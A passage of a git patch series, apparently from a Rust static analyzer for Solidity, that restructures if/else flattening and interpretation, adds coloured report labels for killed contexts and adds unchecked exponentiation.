parent_ctx: Some(parent_ctx), path, returning_ctx: None, continuation_of: None, is_fork: false, - fork_true_false: None, fn_call: None, ext_fn_call: None, ctx_deps: parent_ctx.underlying(analyzer)?.ctx_deps.clone(), diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index c50f6096..453fa67b 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -7,8 +7,6 @@ pub enum ExprFlag { FunctionName(usize), New, Negate, - OnlyTrueFork, - OnlyFalseFork, } #[derive(Debug, Clone, Copy)] diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 95120f93..9258c912 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -19,7 +19,7 @@ use shared::{ StorageLocation, }; use solang_parser::pt::Identifier; -use solang_parser::pt::{Expression, Loc, Statement, Type}; +use solang_parser::pt::{CodeLocation, Expression, Loc, Statement, Type}; impl Flatten for T where T: AnalyzerBackend + Sized + ExprTyParser @@ -67,26 +67,62 @@ pub trait Flatten: } } Args(_loc, _args) => {} - If(loc, if_expr, true_body, None) => { - self.push_expr(FlatExpr::If(*loc)); - self.push_expr(FlatExpr::IfOnlyTrue); + If(loc, if_expr, true_body, maybe_false_body) => { + // 1. Add conditional expressions + // 2. Remove added conditional expressions + // 3. Clone and negate for false side + // 4. Add true body expressions + // 5. Remove true body expressions + // 6. Add false body expressions + // 7. Remove false body expressions + // 8. construct an `If` that lets the intepreter jump to each + // based on their size + let start_len = self.expr_stack_mut().len(); self.traverse_expression(if_expr); - self.push_expr(FlatExpr::IfOnlyFalse); - self.traverse_expression(if_expr); - self.push_expr(FlatExpr::Not(*loc)); - self.push_expr(FlatExpr::EndIfCond); - self.push_expr(FlatExpr::IfOnlyTrueBody); - self.traverse_statement(true_body); - self.push_expr(FlatExpr::EndIfTrueBody); - } - If(loc, if_expr, true_body, Some(false_body)) => { - self.push_expr(FlatExpr::IfElse(*loc)); - self.traverse_expression(if_expr); - self.push_expr(FlatExpr::EndIfCond); + let true_cond = self.expr_stack_mut().drain(start_len..).collect::>(); + let mut false_cond = true_cond.clone(); + false_cond.push(FlatExpr::Not(if_expr.loc())); + + let true_cond_delta = true_cond.len(); + let false_cond_delta = false_cond.len(); + self.traverse_statement(true_body); - self.push_expr(FlatExpr::EndIfTrue); - self.traverse_statement(false_body); - self.push_expr(FlatExpr::EndIfElseFalse); + let true_body = self.expr_stack_mut().drain(start_len..).collect::>(); + let true_body_delta = true_body.len(); + + let (if_expr, false_body) = if let Some(false_body) = maybe_false_body { + self.traverse_statement(false_body); + let false_body = self.expr_stack_mut().drain(start_len..).collect::>(); + let false_body_delta = false_body.len(); + ( + FlatExpr::If { + loc: *loc, + true_cond: true_cond_delta, + false_cond: false_cond_delta, + true_body: true_body_delta, + false_body: false_body_delta, + }, + false_body, + ) + } else { + ( + FlatExpr::If { + loc: *loc, + true_cond: true_cond_delta, + false_cond: false_cond_delta, + true_body: true_body_delta, + false_body: 0, + }, + vec![], + ) + }; + + self.push_expr(if_expr); + let stack = self.expr_stack_mut(); + stack.extend(true_cond); + stack.extend(false_cond); + stack.extend(true_body); + stack.extend(false_body); } While(loc, cond, body) => {} For(loc, maybe_for_start, maybe_for_middle, maybe_for_end, maybe_for_body) => {} @@ -288,59 +324,53 @@ pub trait Flatten: let res = func.add_params_to_ctx(ctx, self).into_expr_err(body_loc); self.add_if_err(res); - - for next in stack { - let res = self.apply_to_edges( - ctx, - body_loc, - arena, - &|analyzer: &mut Self, - arena: &mut RangeArena>, - ctx: ContextNode, - _: Loc| analyzer.interpret_expr(arena, ctx, next), - ); - + while !ctx.is_ended(self).unwrap() && ctx.parse_idx(self) < stack.len() { + let res = self.interpret_inner(arena, ctx, body_loc, &stack[..]); self.add_if_err(res); } } - fn skip_this_ctx(&mut self, ctx: ContextNode) -> bool { - let flag = self.take_expr_flag(); - match flag { - Some(ExprFlag::OnlyTrueFork) => { - if !ctx.was_true_fork(self).unwrap() { - self.set_expr_flag(flag.unwrap()); - return true; - } - } - Some(ExprFlag::OnlyFalseFork) => { - if !ctx.was_false_fork(self).unwrap() { - self.set_expr_flag(flag.unwrap()); - return true; - } - } - _ => {} - } - - if let Some(flag) = flag { - self.set_expr_flag(flag); - } - - false + fn interpret_inner( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + body_loc: Loc, + stack: &[FlatExpr], + ) -> Result<(), ExprErr> { + self.flat_apply_to_edges( + ctx, + body_loc, + arena, + stack, + &|analyzer: &mut Self, + arena: &mut RangeArena>, + ctx: ContextNode, + _: Loc, + stack: &[FlatExpr]| { + analyzer.interpret_expr(arena, ctx, body_loc, stack) + }, + ) } fn interpret_expr( &mut self, arena: &mut RangeArena>, ctx: ContextNode, - next: FlatExpr, + body_loc: Loc, + stack: &[FlatExpr], ) -> Result<(), ExprErr> { use FlatExpr::*; - if self.skip_this_ctx(ctx) { + if ctx.is_killed(self).unwrap() { return Ok(()); } + let parse_idx = ctx.increment_parse_idx(self); + let Some(next) = stack.get(parse_idx) else { + return Ok(()); + }; + let next = *next; + tracing::trace!( "parsing {:?} in context {} - flag: {:?}", next, @@ -361,15 +391,6 @@ pub trait Flatten: self.set_expr_flag(ExprFlag::New); Ok(()) } - IfOnlyTrue => { - self.set_expr_flag(ExprFlag::OnlyTrueFork); - Ok(()) - } - IfOnlyFalse => { - let _ = self.take_expr_flag(); - self.set_expr_flag(ExprFlag::OnlyFalseFork); - Ok(()) - } // Literals AddressLiteral(loc, lit) => self.address_literal(ctx, loc, lit), @@ -388,12 +409,19 @@ pub trait Flatten: ArrayTy(..) => self.interp_array_ty(arena, ctx, next), FunctionCall(..) => self.interp_func_call(arena, ctx, next), + Not(..) => self.interp_not(arena, ctx, next), // Comparator Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) | MoreEqual(loc) => self.interp_cmp(arena, ctx, loc, next), - If(loc) => { + If { + loc, + true_cond, + false_cond, + true_body, + false_body, + } => { let tctx = Context::new_subctx(ctx, None, loc, Some("true"), None, false, self, None) .into_expr_err(loc)?; @@ -423,6 +451,34 @@ pub trait Flatten: Edge::Context(ContextEdge::Subcontext), ); + // parse the true condition expressions + for i in 0..true_cond { + self.interpret_inner(arena, true_subctx, loc, stack)?; + } + // skip the false condition expressions + true_subctx.skip_n_exprs(false_cond, self); + + // skip the true condition expressions + false_subctx.skip_n_exprs(true_cond, self); + // parse the false condition expressions + for i in 0..false_cond { + self.interpret_inner(arena, false_subctx, loc, stack)?; + } + + // todo: the kill check + for i in 0..true_body { + self.interpret_inner(arena, true_subctx, loc, stack)?; + } + // skip the false condition expressions + true_subctx.skip_n_exprs(false_body, self); + + // skip the true body expressions + false_subctx.skip_n_exprs(true_body, self); + // parse the false body expressions + for i in 0..false_body { + self.interpret_inner(arena, false_subctx, loc, stack)?; + } + Ok(()) } IfElse(..) => Ok(()), @@ -454,6 +510,22 @@ pub trait Flatten: } } + fn interp_not( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + not: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::Not(loc) = not else { + unreachable!() + }; + + let res = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + let [inner] = into_sized::(res); + + self.not_inner(arena, ctx, loc, inner.flatten()) + } + fn interp_var_def( &mut self, arena: &mut RangeArena>, @@ -684,6 +756,45 @@ pub trait Flatten: _ => unreachable!(), } } + + /// Apply an expression or statement to all *live* edges of a context. This is used everywhere + /// to ensure we only ever update *live* contexts. If a context has a subcontext, we *never* + /// want to update the original context. We only ever want to operate on the latest edges. + fn flat_apply_to_edges( + &mut self, + ctx: ContextNode, + loc: Loc, + arena: &mut RangeArena>, + stack: &[FlatExpr], + closure: &impl Fn( + &mut Self, + &mut RangeArena>, + ContextNode, + Loc, + &[FlatExpr], + ) -> Result<(), ExprErr>, + ) -> Result<(), ExprErr> { + let live_edges = ctx.live_edges(self).into_expr_err(loc)?; + if !ctx.killed_or_ret(self).into_expr_err(loc)? { + if ctx.underlying(self).into_expr_err(loc)?.child.is_some() { + if live_edges.is_empty() { + Ok(()) + } else { + live_edges + .iter() + .try_for_each(|ctx| closure(self, arena, *ctx, loc, stack)) + } + } else if live_edges.is_empty() { + closure(self, arena, ctx, loc, stack) + } else { + live_edges + .iter() + .try_for_each(|ctx| closure(self, arena, *ctx, loc, stack)) + } + } else { + Ok(()) + } + } } fn into_sized(v: Vec) -> [T; N] { From 16b7fd5a617c4dbc00f3f4fe423c46937f2a767b Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 15 Jul 2024 17:36:26 -0700 Subject: [PATCH 05/52] ifs working for real --- crates/analyzers/src/bounds.rs | 10 +- crates/analyzers/src/func_analyzer/mod.rs | 7 +- .../src/func_analyzer/report_display.rs | 5 +- .../src/var_analyzer/report_display.rs | 5 +- crates/shared/src/flattened.rs | 1 - .../src/context_builder/flattened.rs | 159 ++++++++++-------- 6 files changed, 106 insertions(+), 81 deletions(-) diff --git a/crates/analyzers/src/bounds.rs b/crates/analyzers/src/bounds.rs index cf51782e..756a1a68 100644 --- a/crates/analyzers/src/bounds.rs +++ b/crates/analyzers/src/bounds.rs @@ -2,7 +2,7 @@ use crate::{FunctionVarsBoundAnalysis, LocSpan, LocStrSpan, ReportConfig, VarBou use graph::{ elem::Elem, - nodes::{Concrete, ContextNode}, + nodes::{Concrete, ContextNode, KilledKind}, range_string::ToRangeString, GraphBackend, Range, RangeEval, SolcRange, }; @@ -14,6 +14,14 @@ use std::collections::{BTreeMap, BTreeSet}; pub static MIN_COLOR: Color = Color::Fixed(111); pub static MAX_COLOR: Color = Color::Fixed(106); +pub fn killed_kind_color(kind: &KilledKind) -> Color { + match kind { + KilledKind::Ended => Color::Green, + KilledKind::Unreachable => Color::Rgb(255, 121, 0), + _ => Color::Red, + } +} + #[derive(PartialEq, Eq, Clone)] pub struct AnalysisItem { pub init: bool, diff --git a/crates/analyzers/src/func_analyzer/mod.rs b/crates/analyzers/src/func_analyzer/mod.rs index 0eb3b0e3..ff1c2ae2 100644 --- a/crates/analyzers/src/func_analyzer/mod.rs +++ b/crates/analyzers/src/func_analyzer/mod.rs @@ -1,3 +1,4 @@ +use crate::bounds::killed_kind_color; use crate::{ bounds::range_parts, LocStrSpan, ReportConfig, ReportDisplay, ReportKind, VarBoundAnalysis, VarBoundAnalyzer, @@ -231,7 +232,7 @@ impl<'a> FunctionVarsBoundAnalysis { labels.push( Label::new(killed_loc.clone()) .with_message(kind.analysis_str()) - .with_color(Color::Red) + .with_color(killed_kind_color(kind)) .with_priority(10), ); } @@ -247,8 +248,8 @@ impl<'a> FunctionVarsBoundAnalysis { if !self_handled { labels.push( Label::new(killed_span.clone()) - .with_message(kind.analysis_str().fg(Color::Red)) - .with_color(Color::Red), + .with_message(kind.analysis_str().fg(killed_kind_color(kind))) + .with_color(killed_kind_color(kind)), ); } } diff --git a/crates/analyzers/src/func_analyzer/report_display.rs b/crates/analyzers/src/func_analyzer/report_display.rs index 828d8c9f..731c9ef7 100644 --- a/crates/analyzers/src/func_analyzer/report_display.rs +++ b/crates/analyzers/src/func_analyzer/report_display.rs @@ -1,3 +1,4 @@ +use crate::bounds::killed_kind_color; use crate::{FunctionVarsBoundAnalysis, LocStrSpan, ReportDisplay, ReportKind}; use graph::{elem::Elem, nodes::Concrete, GraphBackend}; @@ -74,8 +75,8 @@ impl<'a> ReportDisplay for CLIFunctionVarsBoundAnalysis<'a> { if let Some((killed_span, kind)) = &self.func_var_bound_analysis.ctx_killed { report = report.with_label( Label::new(killed_span.clone()) - .with_message(kind.analysis_str().fg(Color::Red)) - .with_color(Color::Red), + .with_message(kind.analysis_str().fg(killed_kind_color(kind))) + .with_color(killed_kind_color(kind)), ); } diff --git a/crates/analyzers/src/var_analyzer/report_display.rs b/crates/analyzers/src/var_analyzer/report_display.rs index 368f1659..0364680e 100644 --- a/crates/analyzers/src/var_analyzer/report_display.rs +++ b/crates/analyzers/src/var_analyzer/report_display.rs @@ -1,3 +1,4 @@ +use crate::bounds::killed_kind_color; use crate::{ bounds::{range_parts, AnalysisItem}, LocStrSpan, ReportDisplay, ReportKind, VarBoundAnalysis, @@ -84,8 +85,8 @@ impl ReportDisplay for VarBoundAnalysis { if let Some((killed_span, kind)) = &self.ctx_killed { report = report.with_label( Label::new(killed_span.clone()) - .with_message(kind.analysis_str().fg(Color::Red)) - .with_color(Color::Red), + .with_message(kind.analysis_str().fg(killed_kind_color(kind))) + .with_color(killed_kind_color(kind)), ); } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 453fa67b..512c0cdd 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -22,7 +22,6 @@ pub enum FlatExpr { FunctionCallName(usize), - IfElse(Loc), Continue(Loc), Break(Loc), Return(Loc, bool), diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 9258c912..7e4be3be 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -10,6 +10,7 @@ use graph::{ elem::{Elem, RangeOp}, nodes::{ Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode, + KilledKind, }, AnalyzerBackend, ContextEdge, Edge, Node, VarType, }; @@ -324,13 +325,18 @@ pub trait Flatten: let res = func.add_params_to_ctx(ctx, self).into_expr_err(body_loc); self.add_if_err(res); - while !ctx.is_ended(self).unwrap() && ctx.parse_idx(self) < stack.len() { - let res = self.interpret_inner(arena, ctx, body_loc, &stack[..]); + while (!ctx.is_ended(self).unwrap() || !ctx.live_edges(self).unwrap().is_empty()) + && ctx.parse_idx(self) < stack.len() + { + println!("is ended: {}", ctx.is_ended(self).unwrap()); + println!("live edges: {:?}", ctx.live_edges(self).unwrap()); + println!("remaining parse: {}", ctx.parse_idx(self) < stack.len()); + let res = self.interpret_step(arena, ctx, body_loc, &stack[..]); self.add_if_err(res); } } - fn interpret_inner( + fn interpret_step( &mut self, arena: &mut RangeArena>, ctx: ContextNode, @@ -415,73 +421,7 @@ pub trait Flatten: Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) | MoreEqual(loc) => self.interp_cmp(arena, ctx, loc, next), - If { - loc, - true_cond, - false_cond, - true_body, - false_body, - } => { - let tctx = - Context::new_subctx(ctx, None, loc, Some("true"), None, false, self, None) - .into_expr_err(loc)?; - let true_subctx = ContextNode::from(self.add_node(Node::Context(tctx))); - let fctx = - Context::new_subctx(ctx, None, loc, Some("false"), None, false, self, None) - .into_expr_err(loc)?; - let false_subctx = ContextNode::from(self.add_node(Node::Context(fctx))); - ctx.set_child_fork(true_subctx, false_subctx, self) - .into_expr_err(loc)?; - true_subctx - .set_continuation_ctx(self, ctx, "fork_true") - .into_expr_err(loc)?; - false_subctx - .set_continuation_ctx(self, ctx, "fork_false") - .into_expr_err(loc)?; - let ctx_fork = self.add_node(Node::ContextFork); - self.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - self.add_edge( - NodeIdx::from(true_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - self.add_edge( - NodeIdx::from(false_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - - // parse the true condition expressions - for i in 0..true_cond { - self.interpret_inner(arena, true_subctx, loc, stack)?; - } - // skip the false condition expressions - true_subctx.skip_n_exprs(false_cond, self); - - // skip the true condition expressions - false_subctx.skip_n_exprs(true_cond, self); - // parse the false condition expressions - for i in 0..false_cond { - self.interpret_inner(arena, false_subctx, loc, stack)?; - } - - // todo: the kill check - for i in 0..true_body { - self.interpret_inner(arena, true_subctx, loc, stack)?; - } - // skip the false condition expressions - true_subctx.skip_n_exprs(false_body, self); - - // skip the true body expressions - false_subctx.skip_n_exprs(true_body, self); - // parse the false body expressions - for i in 0..false_body { - self.interpret_inner(arena, false_subctx, loc, stack)?; - } - - Ok(()) - } - IfElse(..) => Ok(()), + If { .. } => self.interp_if(arena, ctx, stack, next), other => { tracing::trace!("unhandled: {other:?}"); Ok(()) @@ -489,6 +429,80 @@ pub trait Flatten: } } + fn interp_if( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + stack: &[FlatExpr], + if_expr: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::If { + loc, + true_cond, + false_cond, + true_body, + false_body, + } = if_expr + else { + unreachable!() + }; + let tctx = Context::new_subctx(ctx, None, loc, Some("true"), None, false, self, None) + .into_expr_err(loc)?; + let true_subctx = ContextNode::from(self.add_node(Node::Context(tctx))); + let fctx = Context::new_subctx(ctx, None, loc, Some("false"), None, false, self, None) + .into_expr_err(loc)?; + let false_subctx = ContextNode::from(self.add_node(Node::Context(fctx))); + ctx.set_child_fork(true_subctx, false_subctx, self) + .into_expr_err(loc)?; + true_subctx + .set_continuation_ctx(self, ctx, "fork_true") + .into_expr_err(loc)?; + false_subctx + .set_continuation_ctx(self, ctx, "fork_false") + .into_expr_err(loc)?; + let ctx_fork = self.add_node(Node::ContextFork); + self.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); + self.add_edge( + NodeIdx::from(true_subctx.0), + ctx_fork, + Edge::Context(ContextEdge::Subcontext), + ); + self.add_edge( + NodeIdx::from(false_subctx.0), + ctx_fork, + Edge::Context(ContextEdge::Subcontext), + ); + + // parse the true condition expressions + for i in 0..true_cond { + self.interpret_step(arena, true_subctx, loc, stack)?; + } + // skip the false condition expressions + true_subctx.skip_n_exprs(false_cond, self); + + // skip the true condition expressions + false_subctx.skip_n_exprs(true_cond, self); + // parse the false condition expressions + for i in 0..false_cond { + self.interpret_step(arena, false_subctx, loc, stack)?; + } + + // todo: the kill check + for i in 0..true_body { + self.interpret_step(arena, true_subctx, loc, stack)?; + } + // skip the false condition expressions + true_subctx.skip_n_exprs(false_body, self); + + // skip the true body expressions + false_subctx.skip_n_exprs(true_body, self); + // parse the false body expressions + for i in 0..false_body { + self.interpret_step(arena, false_subctx, loc, stack)?; + } + Ok(()) + } + fn interp_cmp( &mut self, arena: &mut RangeArena>, @@ -600,12 +614,13 @@ pub trait Flatten: let FlatExpr::Return(loc, nonempty) = ret else { unreachable!() }; - if !nonempty { + if nonempty { let ret = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; self.return_match(arena, ctx, &loc, ret.first().unwrap(), 0); Ok(()) } else { - ctx.propogate_end(self).into_expr_err(loc) + self.return_match(arena, ctx, &loc, &ExprRet::Null, 0); + ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc) } } From d6ee1a63074b659f464e6a43b31cee526c9580c2 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Tue, 16 Jul 2024 11:06:08 -0700 Subject: [PATCH 06/52] fix some function call things --- crates/graph/src/nodes/context/typing.rs | 2 - crates/graph/src/nodes/contract_ty.rs | 8 + crates/graph/src/nodes/struct_ty.rs | 10 +- .../graph/src/range/elem/elem_enum/impls.rs | 8 +- .../graph/src/range/elem/expr/simplify/mod.rs | 2 +- crates/graph/src/range/elem/mod.rs | 40 +- crates/graph/src/range/exec/exec_op.rs | 4 +- crates/graph/src/range/exec/math_ops/exp.rs | 13 +- crates/graph/src/range/solc_range.rs | 11 +- crates/graph/src/solvers/atoms.rs | 3 +- crates/pyrometer/src/analyzer.rs | 9 +- crates/shared/src/analyzer_like.rs | 2 +- crates/shared/src/flattened.rs | 91 ++-- crates/solc-expressions/src/bin_op.rs | 2 +- crates/solc-expressions/src/cond_op.rs | 255 +++++----- .../src/context_builder/flattened.rs | 462 ++++++++++++++---- .../solc-expressions/src/func_call/apply.rs | 6 +- .../src/func_call/func_caller.rs | 7 +- .../func_call/intrinsic_call/constructors.rs | 90 ++-- .../intrinsic_call/intrinsic_caller.rs | 14 +- .../src/func_call/intrinsic_call/types.rs | 110 ++--- crates/solc-expressions/src/literal.rs | 18 +- crates/solc-expressions/src/loops.rs | 29 +- crates/solc-expressions/src/yul/yul_funcs.rs | 2 +- 24 files changed, 773 insertions(+), 425 deletions(-) diff --git a/crates/graph/src/nodes/context/typing.rs b/crates/graph/src/nodes/context/typing.rs index f7852b39..85c2fe18 100644 --- a/crates/graph/src/nodes/context/typing.rs +++ b/crates/graph/src/nodes/context/typing.rs @@ -4,8 +4,6 @@ use crate::{ }; use shared::GraphError; -use super::underlying; - impl ContextNode { /// Checks if its an anonymous function call (i.e. loop) pub fn is_anonymous_fn_call(&self, analyzer: &impl GraphBackend) -> Result { diff --git a/crates/graph/src/nodes/contract_ty.rs b/crates/graph/src/nodes/contract_ty.rs index 42694f9b..c3bb19bd 100644 --- a/crates/graph/src/nodes/contract_ty.rs +++ b/crates/graph/src/nodes/contract_ty.rs @@ -170,6 +170,14 @@ impl ContractNode { .next() } + pub fn ordered_new_param_names(&self, analyzer: &impl GraphBackend) -> Vec { + if let Some(constructor) = self.constructor(analyzer) { + constructor.ordered_param_names(analyzer) + } else { + vec![] + } + } + /// Gets all associated storage vars from the underlying node data for the [`Contract`] pub fn direct_storage_vars(&self, analyzer: &(impl GraphBackend + Search)) -> Vec { analyzer diff --git a/crates/graph/src/nodes/struct_ty.rs b/crates/graph/src/nodes/struct_ty.rs index e739a711..872c5fef 100644 --- a/crates/graph/src/nodes/struct_ty.rs +++ b/crates/graph/src/nodes/struct_ty.rs @@ -53,6 +53,14 @@ impl StructNode { fields } + pub fn ordered_new_param_names(&self, analyzer: &impl GraphBackend) -> Vec { + let fields = self.fields(analyzer); + fields + .iter() + .map(|field| field.name(analyzer).unwrap()) + .collect() + } + pub fn find_field( &self, analyzer: &impl GraphBackend, @@ -200,7 +208,7 @@ impl FieldNode { .underlying(analyzer)? .name .as_ref() - .expect("Struct wasn't named") + .expect("Struct field wasn't named") .to_string()) } } diff --git a/crates/graph/src/range/elem/elem_enum/impls.rs b/crates/graph/src/range/elem/elem_enum/impls.rs index b657ffe9..830581f8 100644 --- a/crates/graph/src/range/elem/elem_enum/impls.rs +++ b/crates/graph/src/range/elem/elem_enum/impls.rs @@ -23,6 +23,12 @@ impl Elem { let expr = RangeExpr::new(self, RangeOp::Mul(true), other); Self::Expr(expr) } + + pub fn wrapping_exp(self, other: Elem) -> Self { + let expr = RangeExpr::new(self, RangeOp::Exp(true), other); + Self::Expr(expr) + } + pub fn wrapping_div(self, other: Elem) -> Self { let expr = RangeExpr::new(self, RangeOp::Div(true), other); Self::Expr(expr) @@ -215,7 +221,7 @@ impl Elem { /// Creates a new range element that is one range element to the power of another pub fn pow(self, other: Self) -> Self { - let expr = RangeExpr::new(self, RangeOp::Exp, other); + let expr = RangeExpr::new(self, RangeOp::Exp(false), other); Elem::Expr(expr) } diff --git a/crates/graph/src/range/elem/expr/simplify/mod.rs b/crates/graph/src/range/elem/expr/simplify/mod.rs index efd55aff..42dc2ff8 100644 --- a/crates/graph/src/range/elem/expr/simplify/mod.rs +++ b/crates/graph/src/range/elem/expr/simplify/mod.rs @@ -43,7 +43,7 @@ pub(crate) fn ident_rules( _ => None, } } - RangeOp::Exp => { + RangeOp::Exp(_) => { if matches!(r.range_ord(&zero, arena), Some(std::cmp::Ordering::Equal)) { Some(Elem::from(Concrete::from(U256::one()))) } else { diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index dd1c7401..3e90b118 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -11,6 +11,7 @@ pub use elem_trait::*; pub use expr::*; pub use map_or_array::*; pub use reference::*; +use shared::FlatExpr; #[derive(Clone, Debug, Ord, PartialOrd, Eq, PartialEq)] pub enum MinMaxed { @@ -84,7 +85,7 @@ pub enum RangeOp { /// Bitwise Not BitNot, /// Exponentiation - Exp, + Exp(bool), /// Concatenation Concat, /// Memcopy @@ -99,6 +100,39 @@ pub enum RangeOp { GetLength, } +impl TryFrom for RangeOp { + type Error = (); + fn try_from(flat: FlatExpr) -> Result { + use FlatExpr::*; + let res = match flat { + Power(_, unchecked) => RangeOp::Exp(unchecked), + Multiply(_, unchecked) => RangeOp::Mul(unchecked), + Add(_, unchecked) => RangeOp::Add(unchecked), + Subtract(_, unchecked) => RangeOp::Sub(unchecked), + Divide(_, unchecked) => RangeOp::Div(unchecked), + Modulo(_) => RangeOp::Mod, + AssignMultiply(_, unchecked) => RangeOp::Mul(unchecked), + AssignAdd(_, unchecked) => RangeOp::Add(unchecked), + AssignSubtract(_, unchecked) => RangeOp::Sub(unchecked), + AssignDivide(_, unchecked) => RangeOp::Div(unchecked), + AssignModulo(_) => RangeOp::Mod, + ShiftLeft(_) => RangeOp::Shl, + ShiftRight(_) => RangeOp::Shr, + AssignShiftLeft(_) => RangeOp::Shl, + AssignShiftRight(_) => RangeOp::Shr, + BitwiseAnd(_) => RangeOp::BitAnd, + AssignAnd(_) => RangeOp::BitAnd, + BitwiseXor(_) => RangeOp::BitXor, + AssignXor(_) => RangeOp::BitXor, + BitwiseOr(_) => RangeOp::BitOr, + AssignOr(_) => RangeOp::BitOr, + BitwiseNot(_) => RangeOp::BitNot, + _ => return Err(()), + }; + Ok(res) + } +} + impl RangeOp { pub fn commutative(&self) -> bool { use RangeOp::*; @@ -108,7 +142,7 @@ impl RangeOp { Sub(_i) => false, Div(_i) => false, Mod => false, - Exp => false, + Exp(_i) => false, Min => true, Max => true, @@ -213,7 +247,7 @@ impl ToString for RangeOp { Shl => "<<".to_string(), Shr => ">>".to_string(), Mod => "%".to_string(), - Exp => "**".to_string(), + Exp(_) => "**".to_string(), Min => "min".to_string(), Max => "max".to_string(), Lt => "<".to_string(), diff --git a/crates/graph/src/range/exec/exec_op.rs b/crates/graph/src/range/exec/exec_op.rs index 1f89c625..3246510f 100644 --- a/crates/graph/src/range/exec/exec_op.rs +++ b/crates/graph/src/range/exec/exec_op.rs @@ -261,8 +261,8 @@ impl ExecOp for RangeExpr { RangeOp::Mod => exec_mod( &lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize, analyzer, arena, ), - RangeOp::Exp => exec_exp( - &lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize, analyzer, arena, + RangeOp::Exp(unchecked) => exec_exp( + &lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize, unchecked, analyzer, arena, ), RangeOp::Min => exec_min( &lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize, analyzer, arena, diff --git a/crates/graph/src/range/exec/math_ops/exp.rs b/crates/graph/src/range/exec/math_ops/exp.rs index aad9faeb..58e383c4 100644 --- a/crates/graph/src/range/exec/math_ops/exp.rs +++ b/crates/graph/src/range/exec/math_ops/exp.rs @@ -80,6 +80,7 @@ pub fn exec_exp( rhs_min: &Elem, rhs_max: &Elem, maximize: bool, + unchecked: bool, _analyzer: &impl GraphBackend, arena: &mut RangeArena>, ) -> Option> { @@ -185,13 +186,15 @@ mod tests { let rhs_min = rc_uint_sized(3).into(); let rhs_max = rc_uint_sized(200).into(); - let max_result = exec_exp(&lhs_min, &lhs_max, &rhs_min, &rhs_max, true, &g, &mut arena) - .unwrap() - .maybe_concrete() - .unwrap(); + let max_result = exec_exp( + &lhs_min, &lhs_max, &rhs_min, &rhs_max, true, false, &g, &mut arena, + ) + .unwrap() + .maybe_concrete() + .unwrap(); assert_eq!(max_result.val, Concrete::Uint(8, U256::from(255))); let min_result = exec_exp( - &lhs_min, &lhs_max, &rhs_min, &rhs_max, false, &g, &mut arena, + &lhs_min, &lhs_max, &rhs_min, &rhs_max, false, false, &g, &mut arena, ) .unwrap() .maybe_concrete() diff --git a/crates/graph/src/range/solc_range.rs b/crates/graph/src/range/solc_range.rs index 3ba41dcd..5d4156e6 100644 --- a/crates/graph/src/range/solc_range.rs +++ b/crates/graph/src/range/solc_range.rs @@ -365,7 +365,8 @@ impl SolcRange { RangeOp::Gte => &Self::gte_dyn, RangeOp::Eq => &Self::eq_dyn, RangeOp::Neq => &Self::neq_dyn, - RangeOp::Exp => &Self::exp_dyn, + RangeOp::Exp(false) => &Self::exp_dyn, + RangeOp::Exp(true) => &Self::wrapping_exp_dyn, RangeOp::BitAnd => &Self::bit_and_dyn, RangeOp::BitOr => &Self::bit_or_dyn, RangeOp::BitXor => &Self::bit_xor_dyn, @@ -421,6 +422,14 @@ impl SolcRange { ) } + pub fn wrapping_exp_dyn(self, other: ContextVarNode) -> Self { + Self::new( + self.min.wrapping_exp(Elem::from(other)), + self.max.wrapping_exp(Elem::from(other)), + self.exclusions, + ) + } + pub fn exp_dyn(self, other: ContextVarNode) -> Self { Self::new( self.min.pow(Elem::from(other)), diff --git a/crates/graph/src/solvers/atoms.rs b/crates/graph/src/solvers/atoms.rs index c414f885..11bb09ed 100644 --- a/crates/graph/src/solvers/atoms.rs +++ b/crates/graph/src/solvers/atoms.rs @@ -269,7 +269,8 @@ pub static LIA_OPS: &[RangeOp] = &[ RangeOp::Div(true), RangeOp::Div(false), RangeOp::Mod, - RangeOp::Exp, + RangeOp::Exp(false), + RangeOp::Exp(true), ]; pub trait Atomize { diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 2dc33151..6e1b3e7f 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -389,7 +389,8 @@ impl Analyzer { }; let full_stmt = solang_parser::pt::Statement::Return(expr.loc(), Some(expr.clone())); - self.parse_ctx_statement(arena, &full_stmt, false, Some(ctx)); + self.traverse_statement(&full_stmt, None); + self.interpret(ctx, full_stmt.loc(), arena); let edges = 